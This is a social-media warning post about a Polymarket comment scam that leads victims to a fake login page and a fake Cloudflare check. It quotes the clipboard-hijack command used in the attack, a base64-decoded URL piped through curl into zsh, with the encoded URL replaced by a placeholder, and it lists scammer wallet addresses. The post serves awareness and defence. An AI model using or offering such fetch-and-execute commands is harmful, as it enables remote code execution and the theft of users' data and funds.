25usdc@25usdc
People have lost more than $500,000 by being scammed through Polymarket comments. I am posting this to raise awareness of the growing issue.
They say: "Why are you not trading on Polymarket private markets? The odds are always much better on there!"
Here is how they try to steal your money:
They begin by buying both Yes and No shares for a market from two separate accounts - so their comments still appear when the 'Holders' filter is enabled - and then post a URL to their site in an obfuscated form.
On that site you're greeted by a clean-looking page with a Polymarket logo and are asked to log in via email. After you verify the email address (yes, they even send you a code), a new window pops up asking you to verify your activity - pretending to be Cloudflare:
But when you click 'Copy', something completely different gets copied:
curl -kfsSL $(echo 'ENCODED_STRING=='|base64 -d)|zsh
You should never paste a command you don't understand into your terminal!
The command first decodes the base64-encoded string (a server URL), then fetches a script from that server and immediately executes it. The script can contain anything, and there won't be any pop-up warning.
By now, it's probably too late - at this point, there's not much you can do except, with some luck, turning off Wi-Fi.
I won't go into detail about what the script does, but there is further obfuscation and additional scripts. In the end, they gather data, log everything on your system, and send a zip back to their server.
They then use this data to log into your accounts and steal your money.
They are very careful to hide everything, even after the initial obfuscation there is obfuscation at every step. I also noticed they shut down the server that sends payloads and receives logged data when there is no active victim.
Here are the scammers' wallet addresses:
DGiJqVHdygJ5wRivY9dMJB7TKTFZkoQ9VhhWRHBGtLKb
3hx7UWFABt9QoEKtqeWcDLvMRzbVXmrqHxEne6s7hXwN
They appear to switch wallets frequently and have likely already created new ones, but someone might still glean useful information from these addresses.
I think the best way to address this is to allow trusted users to review comments or to introduce a downvote system that hides heavily downvoted posts. The simple warning Polymarket currently displays won't be enough, but I'm confident they'll find a good solution.
